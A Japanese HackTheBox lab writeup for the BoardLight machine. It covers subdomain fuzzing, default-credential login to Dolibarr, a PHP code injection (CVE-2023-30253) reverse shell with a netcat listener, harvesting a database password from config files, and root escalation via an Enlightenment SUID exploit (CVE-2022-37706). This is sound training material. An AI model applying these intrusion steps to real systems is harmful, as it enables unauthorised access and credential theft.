1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

HackTheBox Writeup:BoardLight

Posted at

はじめに

本記事はHackTheBoxのWriteupです。

Machineは、BoardLightです。

BoardLightでは、DolibarrやEnlightenmentの脆弱性について学びます。

スキャニング

はじめにポートスキャンを実行します。

以下では事前に用意したシェルを介してポートスキャンを実行しています。

##################
# Port scan tool #
##################
 *Detailed scan :1
 *Full scan     :2


 ***Select scanning method by number***
1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-14 22:10 JST
Nmap scan report for board.htb (10.10.11.11)
Host is up (0.26s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA)
|   256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA)
|_  256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.07 seconds
Scan completed

上記ポートスキャンの結果を基に調査を行います。

列挙

ブラウザからIPアドレスにアクセスすると、以下の様な画面が表示されます。

調査した結果ドメインはboard.htbと思われるため、hostsファイルを編集します。

スクリーンショット 2024-06-14 22.19.29.png

サブドメイン

BoardLightは、サイバー脅威からビジネスを保護する最先端のセキュリティソリューションの提供を専門とする架空のサイバーセキュリティコンサルティング会社です。

トップページでは特に気になる点は見当たらなかったので、引き続きffuwを用いてサブドメインの列挙を行います。レスポンス結果を踏まえて、レスポンスサイズの値は全て15949になっているため、-fsオプションを使用して除外します。

$ ffuf -w ~/tool/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://board.htb -H "Host: FUZZ.board.htb" -c -fs 0,15949


        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://board.htb
 :: Wordlist         : FUZZ: /home/kali/tool/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.board.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 0,15949
________________________________________________

crm                     [Status: 200, Size: 6360, Words: 397, Lines: 150, Duration: 308ms]
:: Progress: [4989/4989] :: Job [1/1] :: 158 req/sec :: Duration: [0:00:38] :: Errors: 0 ::

crmのサブドメインを検出したのでアクセスすると、別のページが確認できました。

スクリーンショット 2024-06-14 22.36.16.png

確認した結果、Dolibarrと呼ばれるオープンソースで開発されたERPとCRMの機能を持つソフトウェアパッケージでした。

脆弱性分析

足場を作るために利用可能な脆弱性を探します。

Dolibarr

ユーザー名はadmin、パスワードにadminを入力してログインすると、以下の様な画面が表示されます。

スクリーンショット 2024-06-14 22.36.38.png

画面を確認したところ、一部の機能は制限がかかっているため、アクセスできません。

バージョン情報を基に脆弱性を調査すると、イタリアのサイバーセキュリティ企業であるSwascan社のSecurity Advisory: Dolibarr 17.0.0 PHP Code Injection (CVE-2023-30253)の記事を発見しました。(※本記事執筆時点で日本のNWからだとアクセスできないため、VPNを用いて海外経由でアクセスしています)

スクリーンショット 2024-06-14 22.53.06.png

脆弱性はCVE-2023-30253です。CMS ウェブサイト プラグイン (コア) が有効になっているDolibarr 17.0.0 では、認証された攻撃者がアプリケーションの制限を回避してPHPコードインジェクションを介してリモートコマンドを実行できます。

システムハッキング

アクセスの獲得を行うために、足場となる入り口を探します。

アクセスの獲得

適当にWebサイトを作成して、リバースコードを仕込みます。

スクリーンショット 2024-06-14 22.58.36.png

リバースシェルを取得するリスナーは事前に用意しておきます。

$ nc -lnvp 4444

ペイロードが実行されることで、リバースシェルが取得できます。

listening on [any] 4444 ...
connect to [Your IP address] from (UNKNOWN) [10.10.11.11] 45836
bash: cannot set terminal process group (920): Inappropriate ioctl for device
bash: no job control in this shell
www-data@boardlight:~/html/crm.board.htb/htdocs/website$ 

リバースシェル取得後はシェルが不安定な状態になっているため、シェルを安定させます。

www-data@boardlight:~/html/crm.board.htb/htdocs/website$ /usr/bin/python3 -c 'import pty;pty.spawn("/bin/bash")'
</bin/python3 -c 'import pty;pty.spawn("/bin/bash")'     
www-data@boardlight:~/html/crm.board.htb/htdocs/website$ ^Z
[1]+  停止                  nc -lnvp 4444

┌──(kali㉿kali)-[~]
└──$ stty raw -echo; fg
nc -lnvp 4444
             export TERM=xterm
www-data@boardlight:~/html/crm.board.htb/htdocs/website$ export SHELL=bash

ユーザーフラグ

/home配下のディレクトリを確認すると、larissaユーザーが確認できます。

total 4
drwxr-x--- 16 larissa larissa 4096 Jun 14 06:26 larissa

larissaユーザーの認証情報を探します。

調査を続けると、www-dataユーザーのhtdocsディレクトリ配下にconfディレクトリを見つけました。

ls -l conf

total 44
-rw-r--r-- 1 www-data www-data  1736 May 17 00:18 conf.php
-rw-r--r-- 1 www-data www-data 16394 Mar  4  2023 conf.php.example
-r-------- 1 www-data www-data 16394 May 13 13:20 conf.php.old

以下の様なコマンドを実行して、認証情報を探します。

grep -r password ./conf/

./conf/conf.php.old:// This parameter contains password used to read and write into Dolibarr database.
./conf/conf.php.old:// $dolibarr_main_db_pass='myuserpassword';
./conf/conf.php.old:// $dolibarr_main_authentication='dolibarr';       // Use the password defined into application on user file (default).
./conf/conf.php.old:// $dolibarr_main_authentication='ldap';           // Check the password into a LDAP server
./conf/conf.php.example:// This parameter contains password used to read and write into Dolibarr database.
./conf/conf.php.example:// $dolibarr_main_db_pass='myuserpassword';
./conf/conf.php.example:// $dolibarr_main_authentication='dolibarr';       // Use the password defined into application on user file (default).
./conf/conf.php.example:// $dolibarr_main_authentication='ldap';           // Check the password into a LDAP server

探索を続けると、パスワードを発見しました。

./conf/conf.php:$dolibarr_main_db_pass='*****************';

ユーザー名はlarissa、パスワードは上記で発見したパスワードを用いてsshログインすると、ユーザーフラグを取得できます。

ルートフラグ

結論としては、CVE-2022-37706の脆弱性を利用します。

CVE-2022-37706は、ウィンドウマネージャーのEnlightenmentの脆弱性として、ローカル権限を悪用します。

検索で発見した以下エクスプロイトを実行することで、ルートに昇格できました。

CVE-2022-37706
[*] Trying to find the vulnerable SUID file...
[*] This may take few seconds...
[+] Vulnerable SUID binary found!
[+] Trying to pop a root shell!
[+] Enjoy the root shell :)
mount: /dev/../tmp/: can't find in /etc/fstab.
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),1000(larissa)

脆弱性の発見するためのアプローチは、以下の様なSUIDのファイルを検索するか、linpeas.shなどのツールを使用することで、発見できます。

$ find / -perm -4000 2> /dev/null

/usr/lib/eject/dmcrypt-get-device
/usr/lib/xorg/Xorg.wrap
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight
/usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/linux-gnu-x86_64-0.23.1/freqset
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/sbin/pppd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/sudo
/usr/bin/su
/usr/bin/chfn
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/fusermount
/usr/bin/chsh
/usr/bin/vmware-user-suid-wrapper
  • linpeas.shの出力例

スクリーンショット 2024-06-14 23.37.36.png

おわりに

脆弱性の発見の仕方について学ぶことができるMachineでした。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?